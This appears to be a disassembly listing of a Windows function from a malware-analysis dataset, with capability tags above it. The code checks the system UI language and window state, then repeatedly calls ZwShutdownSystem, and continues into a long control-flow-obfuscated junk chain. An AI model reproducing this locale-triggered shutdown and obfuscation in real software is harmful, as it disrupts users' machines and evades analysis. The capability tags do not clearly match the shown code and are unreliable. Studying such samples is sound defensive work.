Function at 0x401000
Capabilities:
Encrypt data using chaskey
Hash data using murmur3
Identify system language via api

Disassembly:
call sub.kernel32.dll_GetUserDefaultUILanguage
cmp eax, 0xfffffef4
jne 0x40107a
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
ret
call sub.kernel32.dll_GetConsoleWindow
cmp eax, 0xfffffee0
jne 0x401121
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
ret
call sub.kernel32.dll_GetUserDefaultUILanguage
cmp eax, 0xffffff24
jne 0x4011c8
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
ret
call sub.user32.dll_GetActiveWindow
cmp eax, 0xffffff0c
jne 0x401247
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
call sub.ntdll.dll_ZwShutdownSystem
ret
jmp 0x4f01d5
bswap ebx
jmp 0x4f03b4
mov esi, 0x3f4d7907
xchg edi, edx
sub ebx, ecx
xor edi, 0x3cce19b8
xor edi, edx
jmp 0x4f25c9
pop esi
or ebx, edx
add edx, edi
add edi, ebx
add edi, 0x3d845d04
bswap edi
shr ecx, 0x1b
and edi, edx
sub ecx, ebx
jmp 0x4f20c5
push esp
or edi, ebx
nop
and ebx, 0x3d863f6e
rol edx, 0x1b
shl edx, 0x1a
inc ebx
ror ecx, 6
add ecx, edx
jmp 0x4f202c
push 0x3b3e23cc
add edx, ecx
xchg ecx, ebx
sub edx, 0x3d88f348
rol edi, 0x12
jmp 0x4f1144
push 0x3b410a44
and edx, ecx
add edi, edx
add edi, edx
or ecx, edi
jmp 0x4f2dbf
call fcn.004f1853
shl edx, 0x14
dec ebx
xchg ecx, ebx
not edi
jmp 0x4f1e2c
push 0x3b3899cf
xchg ecx, edx
shr edx, 0xe
shr ecx, 0x13
xor ecx, 0x3d8d039c
dec ecx
sub ecx, ebx
shl ebx, 3
inc edx
xor ecx, ebx
or ecx, edi
jmp 0x4f1f51
call esi
and ebx, edi
and edi, edx
mov ebx, edi
add edi, edx
add ecx, ebx
mov edx, 0x3d913164
xor ecx, 0x3d914cde
sub ecx, edi
xor edx, ecx
shr ecx, 0x16
jmp 0x4f2e0e
pop esi
or edx, edi
and ecx, ebx
xor ebx, edi
add ecx, edx
or ebx, ecx
sub ecx, edx
shl edi, 0xf
xchg ebx, ecx
jmp 0x4f097e
push 0x3b38f100
sub edx, ecx
xor ecx, ebx
shl edi, 0xe
and edi, ebx
jmp 0x4f0823
call fcn.004f1853
not ecx
mov edi, edx
or edi, edx
mov edi, ecx
sub edi, ebx
xor edi, 0x3d99e41a
jmp 0x4f043a
push 0xeedd5
xor ebx, 0x3d9fac62
xor edi, ecx
add ecx, ebx
sub edx, 0x3d9ffa0a
xor edx, edi
xchg ecx, ebx
jmp 0x4f1c8d
call fcn.004f1853
or ebx, edi
xchg edi, edx
shl edx, 0x15
not edx
add edx, 0x3da0b70a
rol ebx, 0x1c
shr edi, 0x11
xchg ebx, edi
jmp 0x4f10f9
call fcn.004f1853
add edx, ebx
inc ebx
not ebx
sub edx, ebx
inc edi
add ecx, edi
jmp 0x4f0f16
pop esi
xchg edi, edx
shl ebx, 0x19
jmp 0x4f1877
call esi
or edi, ebx
xchg edx, ecx
or ecx, 0x3da2ee24
ror edi, 0xa
ror edx, 0x13
or edx, edi
jmp 0x4f0cb3
mov esi, 0x3f4d7907
neg edx
shl ebx, 0x16
sub edi, ecx
or edi, ebx
mov edx, edi
or edx, edi
dec ebx
mov edx, 0x3da77692
add edx, edi
add ecx, 0x3da7a7f6
bswap ecx
mov edi, ecx
inc ecx
sub edx, ebx
jmp 0x4f14cf
pop esi
or edx, ebx
sub ebx, edx
jmp 0x4f0dd4
push 0x3b3bb250
mov edx, 0x3daa92aa
neg edx
or ebx, edi
add edi, ebx
rol ebx, 0x1c
xchg ecx, edi
and edi, ebx
neg ebx
shl ebx, 3
inc ecx
xchg ecx, edi
dec ebx
jmp 0x4f11df
push 0x3b390dcc
bswap ebx
mov edi, ebx
dec edi
and edx, 0x3dac9d20
or edx, ecx
inc edi
and ebx, ecx
not edi
jmp 0x4f133a
push 0x3b3a252c
rol edi, 4
add edx, ebx
xor ecx, 0x3dc44ce6
shl ebx, 0x11
shl ebx, 0x17
sub ecx, 0x3dc4d3fc
jmp 0x4f1f78
call esi
xchg ecx, ebx
xchg edi, ecx
xchg ecx, edx
sub ecx, edi
jmp 0x4f14a8
push 0x3b44b56c
add ecx, edx
and edi, 0x3dc87cc8
rol ecx, 8
inc edi
and edi, ebx
mov edx, ecx
xor edi, ecx
xor edx, 0x3dc97208
and ebx, 0x3dc99c8a
shl ecx, 0x1e
add ebx, edx
xchg edi, edx
jmp 0x4f1287
pop esi
add edi, 0x3dcc643a
sub ebx, edx
xor ecx, ebx
dec edx
jmp 0x4f1be4
pop esi
bswap ebx
xor edi, 0x3dcf49c0
xor edx, ebx
add ebx, edx
xor ecx, 0x3dcfb9a2
mov edx, ebx
jmp 0x4f16a4
mov esi, 0x3f4d7907
xor ecx, edx
dec edx
sub ebx, edi
sub edx, ecx
mov ebx, 0x3dd38cfe
or ebx, 0x3dd3bb02
or edx, 0x3dd3e5ea
mov ebx, edx
jmp 0x4f2da2
pop esi
or ebx, edi
ror edi, 3
ror edx, 0x17
mov edx, 0x3dddb9c0
shr ebx, 0xb
ror ebx, 0x1f
or edx, ebx
add ecx, edi
and ecx, ebx
or ebx, edx
neg edx
mov ebx, ecx
jmp 0x4f032f
pop esi
xchg edx, ecx
sub ecx, edx
or ecx, edi
inc ecx
add edx, 0x3ddf0978
xor edi, 0x3ddf2728
jmp 0x4f0e0b
push 0x3b40279a
or ecx, edi
inc ecx
or edi, edx
and ecx, edi
or edi, ebx
xor ebx, edi
mov edx, ecx
sub edi, 0x3de15442
xor edi, ebx
or edi, 0x3de187ae
mov edx, ebx
sub edx, 0x3de1b882
jmp 0x4f1e42
push 0x3b3d067a
xor ebx, edx
xor ecx, edi
xor ebx, edi
add edi, edx
jmp 0x4f21e0
call esi
mov ecx, edx
xor edx, edi
add ebx, edx
sub ebx, edx
not ecx
xor ecx, 0x3de2ca52
sub edx, ebx
neg ecx
bswap ebx
shl edx, 0x18
jmp 0x4f0281
pop esi
sub edi, ebx
dec edi
sub edi, 0x3de7e5fa
ror ebx, 0xe
shr ebx, 0xc
and edx, 0x3de837d8
jmp 0x4f27eb
pop esi
neg edx
and ebx, edi
shr ebx, 0x14
xchg ebx, edx
jmp 0x4f1b32
call fcn.004f1853
xor ebx, 0x3deab206
or ebx, edx
ror edi, 0x1e
or edi, ebx
dec ecx
xchg edx, ebx
sub edi, 0x3deb4a58
ror ebx, 0x1b
jmp 0x4f24cc
pop esi
or ebx, edx
xchg ecx, edx
not ebx
or ecx, 0x3df0b848
mov ecx, edx
sub ebx, 0x3df0e9d8
neg ebx
inc ebx
add edi, ebx
not ebx
add ebx, ecx
xchg ebx, edi
and ebx, edx
and edx, 0x3df1b6ec
jmp 0x4f2e35
pop esi
shl edi, 0xb
xor edx, edi
shr edx, 0xd
or ebx, ecx
ror edx, 0xd
neg edx
shl ebx, 0x1a
add edi, ebx
jmp 0x4f1733
push 0x3b3ccd0c
sub edi, ecx
or edx, 0x3df9877c
mov ecx, edi
or edx, ecx
inc edi
sub ebx, edx
or edx, 0x3dfa0208
shl ebx, 0x16
jmp 0x4f2561
call esi
sub ecx, edx
mov edx, ebx
mov ebx, ecx
xor edi, 0x3dfa8f4c
xchg edx, ebx
xchg edi, ecx
or ebx, edx
add edx, edi
jmp 0x4f2bfe
push 0x3b416148
and ebx, ecx
sub edi, 0x3dfb2eb6
mov edi, ecx
or ecx, ebx
xchg ebx, edi
xchg edx, edi
ror ebx, 0x17
or edx, ebx
jmp 0x4f2c7b
push 0x3b3b96a8
shl ebx, 7
xchg edi, ebx
and edi, ecx
shl edi, 0x12
jmp 0x4f07e9
call fcn.004f1853
shr ecx, 0x19
neg ecx
sub ebx, edx
xor ecx, ebx
mov edx, edi
shr edx, 9
or ebx, ecx
or edx, ecx
xor ebx, ecx
add ebx, edi
xor edx, ebx
bswap ebx
dec ebx
sub ebx, edi
jmp 0x4f13a7
pop esi
xor edx, ebx
xor ecx, ebx
shl edx, 0xf
sub edx, 0x3e030196
mov edi, ebx
mov ecx, ebx
or edi, 0x3e0349f2
mov ebx, 0x3e036624
sub edi, 0x3e038066
mov edi, ecx
jmp 0x4f04e6
call esi
add edx, edi
xchg ecx, edi
jmp 0x4f2698
call esi
or ecx, ebx
neg edi
shl edx, 0xe
xchg ebx, ecx
ror edx, 3
add edx, ebx
shr ecx, 0x10
xchg edi, ecx
jmp 0x4f2d7b
push 0x3b3ece84
neg edi
mov edx, edi
dec edx
shl edi, 0x1d
rol edi, 0xb
sub ebx, 0x3e08a8ae
jmp 0x4f2949
mov esi, 0x3f4d7907
add ebx, ecx
xchg edx, edi
mov ecx, 0x3e09d2ca
or edi, ebx
mov ebx, edx
add edi, ecx
or edx, ebx
inc edx
xor edi, 0x3e0a6800
shr edi, 7
xor edi, 0x3e0a9c02
xchg edx, ebx
jmp 0x4f0d05
push 0x3b3bce32
add edi, 0x3e0dcd60
add ebx, edi
mov edx, edi
dec edx
or edx, ebx
mov edx, ecx
add ecx, edi
mov edi, edx
jmp 0x4f17a5
mov esi, 0x3f4d7907
shr edx, 0x15
neg edx
mov ebx, ecx
add ecx, 0x3e11c6f8
xor edx, ebx
sub ecx, edi
or edx, ebx
and ebx, edx
ror ebx, 0x10
or edx, ebx
jmp 0x4f1bff
mov esi, 0x3f4d7907
xchg ebx, edx
or ecx, 0x3e129892
and edx, ecx
bswap ecx
mov edi, ecx
inc ecx
jmp 0x4f1926
push 0x3b438e1a
add edx, 0x3e13ca34
add ecx, edx
inc edi
sub ebx, edx
not ecx
and edx, ebx
jmp 0x4f224f
mov esi, 0x3f4d7907
xchg edi, ebx
neg ebx
sub ebx, ecx
inc ecx
neg edi
shl ecx, 0xa
jmp 0x4f057d
call esi
xchg edi, ebx
neg ecx
and ebx, 0x3e1aa0c6
and edi, ecx
xchg edx, ecx
xor edx, 0x3e1aefea
xchg ecx, ebx
xchg edx, ecx
neg edx
add ecx, edi
jmp 0x4f1e58
pop esi
xor ebx, edi
add edi, edx
and ebx, 0x3e1dbcde
xchg edi, ecx
or ebx, edx
and edi, 0x3e1e0b9c
mov ebx, edi
sub ebx, edx
shl ebx, 5
not ebx
jmp 0x4f170f
pop esi
xchg ebx, edx
rol ebx, 0xf
or edx, 0x3e21d758
xchg ebx, ecx
xchg ecx, edx
xchg edx, edi
sub edi, edx
not ecx
jmp 0x4f1113
pop esi
or edi, 0x3e227934
and edx, ecx
sub edi, ecx
sub edx, ecx
add ebx, 0x3e22db52
add edx, edi
and edx, ecx
rol ecx, 0x1f
add edx, 0x3e23426a
not edi
jmp 0x4f06bd
call fcn.004f1853
and edx, ecx
bswap edi
add ebx, ecx
rol ebx, 0x11
jmp 0x4f2219
mov esi, 0x3f4d7907
not ecx
xor ecx, 0x3e2411f8
add ebx, ecx
mov ecx, edi
xor edi, ebx
xchg edx, ebx
not edi
mov edx, ebx
xor edi, ecx
xchg edi, ebx
ror ebx, 0x1a
sub ebx, edx
jmp 0x4f0f97
push 0x3b44980c
add edi, ebx
shl edx, 7
xor edx, edi
sub edx, ecx
shr ebx, 8
dec edx
inc edi
sub ebx, edx
jmp 0x4f08eb
mov esi, 0x3f4d7907
or edi, 0x3e2c9896
mov edx, ebx
and ecx, ebx
or edi, ecx
add ebx, 0x3e2cfc0e
add edx, 0x3e2d1696
bswap edx
sub ecx, edi
shr ebx, 0xc
and edx, 0x3e2d7c5c
jmp 0x4f0672
pop esi
add ecx, ebx
ror ecx, 2
sub edi, 0x3e308d00
mov edi, ecx
and edx, ecx
shl edx, 0xd
inc edi
and ebx, ecx
jmp 0x4f1548
pop esi
xor ecx, edx
mov edi, ebx
xor ecx, 0x3e33867c
bswap ecx
and ebx, edi
xor ecx, 0x3e33d248
shr edx, 0x15
and ecx, edi
shl ebx, 0x16
add ecx, ebx
jmp 0x4f2486
push 0x3b3a0965
xor ecx, ebx
or ebx, ecx
sub edi, 0x3e348c7e
xchg edi, edx
add ebx, edi
or edx, ecx
xor edx, edi
bswap edx
mov edi, edx
mov ecx, edi
and edi, edx
and edi, edx
jmp 0x4f0877
mov esi, 0x3f4d7907
mov edx, edi
dec edi
sub ecx, edi
nop
and ebx, 0x3e37eafc
neg ecx
sub ebx, ecx
xchg edx, ebx
jmp 0x4f06a9
pop esi
mov ebx, edx
mov edx, ebx
sub edx, 0x3e388e8c
xor ebx, edx
sub ebx, edi
mov edx, ebx
or edx, ecx
add edx, ebx
xor ebx, edx
add ecx, ebx
mov edi, ebx
and edx, ebx
jmp 0x4f103a
push 0x3b3ad04c
shl ebx, 0x19
nop
or ecx, 0x3e3de168
inc edx
sub ebx, ecx
neg edi
add ecx, edi
mov ebx, edi
xchg ebx, ecx
ror ecx, 0x16
jmp 0x4f2cb5
push 0x3b43545c
bswap ebx
dec ebx
sub ebx, edi
shl ecx, 9
not ecx
add ecx, 0x3e418396
inc edx
ror edi, 0x1c
or edi, ebx
xchg ebx, edx
add edi, ecx
sub ebx, 0x3e421a3e
jmp 0x4f2758
call fcn.004f1853
shl edi, 0x1d
rol edi, 0xb
shl edi, 0xd
mov edx, 0x3e43c370
shr ebx, 0x1b
xchg ebx, edx
or ebx, edi
shr edi, 4
xchg ebx, edi
rol edx, 2
jmp 0x4f0bd2
mov esi, 0x4132136a
rol edi, 0xf
or ecx, edi
xchg edx, edi
sub edi, edx
sub ebx, ecx
and edx, ebx
and ecx, edi
sub ebx, ecx
bswap ecx
dec ecx
sub ecx, ebx
rol edi, 7
jmp 0x4f2b69
pop esi
and edx, 0x3e48ce58
xchg edi, edx
bswap edi
or edx, 0x3e491b1e
xchg edx, ebx
xchg edi, ecx
ror edi, 0x14
xor edi, edx
and edx, edi
or ecx, edi
jmp 0x4f2ab9
pop esi
nop
shr edx, 7
xor edx, 0x3e4e82d8
xchg ebx, edi
jmp 0x4f208c
pop esi
sub ecx, edi
ror ecx, 0x17
and edx, 0x3e4ef06c
shr ecx, 0xc
xor ecx, 0x3e4f24b4
add ebx, ecx
shl ebx, 0xf
and edi, ecx
mov ebx, ecx
shl ebx, 0x1f
rol ebx, 0xd
bswap ebx
jmp 0x4f0b42
push 0x3b467444
bswap edi
xchg ecx, edi
or edx, ebx
sub ebx, edx
xchg ebx, ecx
neg ecx
jmp fcn.004f0c73
push 0x3b3c959c
and ebx, edx
xor ebx, edx
or edx, ecx
neg ebx
xchg ebx, ecx
mov edi, ebx
and edx, ebx
shl ecx, 0x1b
jmp 0x4f2667
call fcn.004f1853
xchg ecx, edx
bswap edx
xor ecx, edx
sub ecx, edi
xor edx, ecx
not edx
sub edx, edi
sub edi, 0x3e59c1c0
xchg ebx, edx
xchg edx, ebx
sub edi, 0x3e5a0c36
xchg ebx, edx
jmp 0x4f1064
push 0x401400
rol edi, 0x19
inc edi
sub ebx, edx
xchg ecx, edi
sub edi, ecx
shr edi, 0xa
sub ebx, ecx
or edi, ecx
shr edx, 0x15
mov edi, ecx
and edx, ecx
shl edx, 0x18
rol edx, 6
add ebx, edi
jmp 0x4f06c8
pop esi
sub ecx, 0x3f1b2f78
and ecx, 0x3f1b4954
xchg ebx, ecx
add edx, ecx
add edx, 0x3f1b9326
xor ecx, edi
sub ecx, edx
and ecx, 0x3f1be3ca
mov ebx, ecx
and edx, ebx
add ebx, edx
shl ecx, 7
not edx
mov ecx, ebx
jmp 0x4f094a
call esi
xor edi, edx
xchg ebx, ecx
neg edx
bswap edi
mov edi, 0x3f1e345e
and ebx, edi
jmp 0x4f17c1
push 0x3b404494
add ebx, edx
neg ecx
and edx, ecx
not ebx
and ebx, ecx
xchg edi, ebx
jmp 0x4f021d
pop esi
bswap edx
dec edx
mov edi, edx
and edi, ebx
shr edx, 6
bswap ecx
xchg edi, edx
ror edi, 7
not ecx
add ebx, edi
jmp 0x4f2720
push 0x3b4286f8
or edi, 0x3f20e240
rol ebx, 1
mov edi, ebx
dec ecx
sub edx, 0x3f21692a
shr edi, 9
jmp 0x4f14e2
push 0x3b38d52c
xor edx, ecx
or edi, edx
jmp 0x4f0520
push 0x3b38b91e
xor edi, edx
sub ecx, 0x3f276bb2
bswap edx
shr ebx, 0xf
xchg ebx, edx
sub ebx, ecx
xor ebx, edi
mov edx, ecx
or ebx, 0x3f281f56
or edi, edx
jmp 0x4f1f26
mov esi, 0x3f4d7907
xchg edx, edi
dec edx
sub ecx, edx
neg ebx
xor ecx, edi
add edx, ecx
rol ebx, 0xc
mov ecx, edi
jmp 0x4f27a6
call fcn.004f1853
xor edi, ebx
or edx, 0x3f294970
xchg ebx, ecx
xchg ecx, edx
xchg edx, edi
sub ecx, edx
ror ebx, 9
mov edx, 0x3f29e4d2
mov ecx, ebx
sub ecx, edx
jmp 0x4f1feb
call esi
sub edi, 0x3f2bd152
add edx, ebx
or ecx, ebx
mov edx, ebx
and edi, 0x3f2c347a
xor ebx, edi
sub edi, 0x3f2c6674
shr ebx, 9
jmp 0x4f0782
push esp
xor ecx, edx
and edi, ecx
ror ebx, 0x1c
mov edx, 0x3f2d97da
or edi, ecx
sub edx, ecx
add edx, ebx
not ecx
sub edx, ecx
or ebx, edx
jmp 0x4f2187
pop esi
add edx, edi
add ebx, edi
and edi, edx
dec edx
ror edx, 8
mov ebx, edx
inc ecx
sub edi, ebx
xor edi, edx
mov ebx, ecx
or edi, edx
xor ecx, 0x3f314306
xchg ecx, edi
nop
jmp 0x4f2468
push 0x3b3f97d4
neg ecx
add ecx, ebx
xchg ecx, edx
bswap ecx
xor ecx, ebx
dec edx
jmp 0x4f1611
pop esi
sub ecx, ebx
add ecx, edx
mov edi, ecx
xchg edi, ebx
jmp 0x4f1966
push 0x40
add ebx, 0x3f37aa68
xchg edi, ebx
xchg ebx, edx
xchg ecx, edi
sub edi, ecx
xor edx, ebx
neg edi
sub ecx, ebx
jmp 0x4f0654
mov esi, 0x3f4d7907
and ebx, ecx
sub edi, 0x3f3a1a46
dec ecx
or edx, ebx
mov edi, ebx
or edi, edx
xchg ecx, ebx
sub ebx, edi
jmp 0x4f1f92
call esi
neg ecx
not edx
mov ecx, ebx
sub ecx, edx
neg ebx
or edi, 0x3f3bf3c6
rol edx, 4
sub ebx, 0x3f3c265a
xchg edi, ecx
xchg ebx, edi
bswap edi
mov ecx, edi
jmp 0x4f19de
mov esi, 0x3f4d7907
xchg ecx, ebx
and edi, 0x3f3d1190
or edi, ecx
xor ebx, 0x3f3d43f0
xchg ecx, edx
shl ecx, 0x18
jmp 0x4f03a2
call esi
add ecx, edx
mov edi, ecx
and ebx, ecx
mov edx, edi
or edi, ecx
neg edi
and edi, 0x3f42d4a6
ror edi, 1
jmp 0x4f23cf
pop esi
dec edi
ror edi, 0x1a
add ecx, 0x3f47810a
add ebx, edi
neg ebx
shl ebx, 3
nop
or ecx, 0x3f480562
and edx, ecx
mov ebx, 0x3f4836d8
jmp 0x4f0b1d
call esi
sub edi, ecx
or ecx, edx
or ecx, edx
or ecx, ebx
shl ebx, 5
sub ecx, ebx
xor ecx, edi
xor edx, 0x3f4ac5c8
add ebx, edx
and edi, ecx
jmp 0x4f0c98
push 0x3b3e063e
mov ebx, ecx
add ebx, edi
mov edx, edi
and ecx, edi
sub ebx, edx
not ecx
xor ecx, 0x3f4baafa
or ebx, edx
jmp 0x4f0318
pop esi
or edi, edx
add ecx, 0x3f4bff1e
and edi, ebx
sub edx, 0x3f4c31f0
sub ecx, ebx
not edi
add edx, 0x3f4c7de6
not edi
rol ebx, 1
sub ebx, edx
jmp 0x4f1e73
call esi
rol ecx, 7
add ebx, edx
xchg edi, ecx
xor ecx, edx
ror ecx, 8
ror ebx, 0xa
sub edx, 0x3f4e9618
sub edx, ebx
mov ebx, ecx
rol ecx, 0xf
xchg ecx, edi
mov ebx, ecx
sub ebx, edx
not ecx
jmp 0x4f2c5f
push 0x3b3cea98
xchg ebx, ecx
sub edx, ebx
xor edx, edi
mov edx, ebx
and ecx, ebx
shr ecx, 0xb
neg ecx
mov edx, edi
or edi, ecx
sub edx, ecx
add edx, ebx
not ecx
jmp 0x4f0bc0
call fcn.004f1853
add edi, ebx
add ecx, ebx
shl edi, 0x12
or edx, edi
and ecx, ebx
or ebx, ecx
add edx, edi
mov ecx, edi
jmp 0x4f2318
push 0x3b3cb1f0
xchg ecx, ebx
add ecx, edi
sub edx, ecx
or ebx, edx
and edi, 0x3f5a476c
ror edi, 5
jmp 0x4f0ef4
pop esi
xor edi, 0x3f5b3038
add ecx, 0x3f5b4afc
rol edi, 0x1e
sub edi, edx
or edi, 0x3f5b951e
and ecx, 0x3f5baf8c
sub ecx, edi
xchg edi, ecx
xchg ebx, edi
bswap edi
mov ecx, edi
dec ecx
sub ecx, ebx
shl ecx, 9
jmp 0x4f2c21
push 0x3b4337fe
xor ecx, edx
sub ecx, ebx
mov edx, ecx
xor edi, edx
and ebx, edx
mov edi, 0x3f5fc3c0
ror edx, 0x16
shr edx, 8
xchg edi, edx
rol ecx, 4
add ebx, edx
xor ebx, ecx
jmp 0x4f18d7
push 0x3b431acb
sub ecx, edi
mov edx, ebx
and ecx, ebx
add edx, ecx
jmp 0x4f26f8
push 0x3b4371bc
or edi, edx
add ecx, 0x3f61b8a0
or ecx, edx
or edx, 0x3f61e93c
xchg edx, ebx
xchg edi, ecx
shr edx, 0x1c
add ebx, ecx
not edi
add ebx, edx
jmp 0x4f12b7
call fcn.004f1853
not ecx
mov ebx, edi
rol edi, 0x14
rol edx, 0xe
or ecx, edx
rol ecx, 8
jmp 0x4f08dc
pop esi
or ecx, edx
xchg ecx, edi
sub edi, ecx
or edi, edx
xchg ecx, ebx
xor edi, ebx
or edi, edx
add ebx, ecx
mov edx, ebx
shr ebx, 0x18
jmp 0x4f1409
pop esi
xor edx, 0x3f6c64c4
or ebx, edi
neg edx
mov edx, ecx
xor ebx, ecx
mov ecx, edi
jmp 0x4f1ab3
push 0x3b3eea4c
dec edx
xchg edx, edi
and edi, ecx
or edx, ecx
sub ebx, 0x3f713a46
add ecx, ebx
sub edi, ecx
bswap ecx
shl edi, 0x12
or edi, 0x3f71be68
and edx, edi
and edx, edi
jmp 0x4f1263
pop esi
and ecx, 0x3f7b36e0
and ecx, 0x3f7b5464
sub ecx, 0x3f7b6e24
inc ecx
jmp 0x4f0f5d
push 0x3b414484
xor ecx, edx
mov edi, ebx
or edi, ebx
and ecx, ebx
shl edi, 0x18
not edx
jmp 0x4f0f31
call fcn.004f1853
inc edx
or ebx, ecx
ror ebx, 0x1d
xor ecx, edx
and ebx, ecx
mov edx, ecx
sub edx, 0x3f82503c
add ecx, ebx
jmp 0x4f02c3
pop esi
add ebx, ecx
or edx, 0x3f865958
add edx, edi
add ecx, 0x3f868bd4
or ecx, ebx
shr ebx, 5
neg ecx
and edx, ebx
add ebx, ecx
bswap ebx
jmp 0x4f1dd9
pop esi
or edi, ecx
sub edi, edx
sub edx, ebx
xor edx, ecx
add ebx, 0x3f87b10c
xor ebx, edx
jmp 0x4f20b0
pop esi
or ecx, 0x3f88fe18
xor ebx, edx
shl ebx, 0x14
add ebx, 0x3f895066
and ecx, edi
shr ecx, 0xa
jmp 0x4f148d
push 0x3b417ea8
and ecx, edx
sub edx, ebx
sub edi, ecx
shr ecx, 0x18
jmp 0x4f09e8
push 0x3b3aec74
and ebx, edi
xor edx, edi
mov ebx, edi
bswap ecx
and ebx, edx
and edx, edi
sub ebx, 0x3f8b931a
or edi, 0x3f8baeda
add edi, ebx
xor edi, 0x3f8be0d4
jmp 0x4f0756
pop esi
add ecx, 0x3f91222e
shl ebx, 2
sub ebx, 0x3f915620
and ebx, 0x3f91740c
and ebx, ecx
neg ebx
inc ebx
and ecx, edx
shr edx, 0x14
or ebx, ecx
jmp 0x4f0b93
call fcn.004f1853
mov ebx, 0x3f923000
add ecx, edx
xchg edi, edx
bswap ecx
neg edi
xchg edx, ecx
neg edx
xchg edi, ecx
jmp 0x4f2448
push 0x3b4127a4
or edx, ecx
nop
add ebx, 0x3f9340ec
not ecx
add ebx, 0x3f9374ee
shr edx, 0x10
xor ebx, edi
mov edi, ebx
mov edi, ecx
rol ebx, 0x19
or ebx, edi
or ebx, edx
mov ecx, edx
sub ebx, 0x3f9454a4
jmp 0x4f2ae6
pop esi
or edi, edx
xor edx, 0x3f956cb2
shr edx, 0xb
mov edi, ecx
or edi, ecx
xchg ecx, edx
sub edi, ecx
add ebx, ecx
mov edx, ebx
and ecx, ebx
or ebx, 0x3f964bd4
xor edi, edx
jmp 0x4f28c1
pop esi
sub ebx, edx
xchg edx, ebx
xchg edi, ecx
xor edi, 0x3f96d7f0
xchg ecx, edi
and edi, ebx
jmp 0x4f1aa1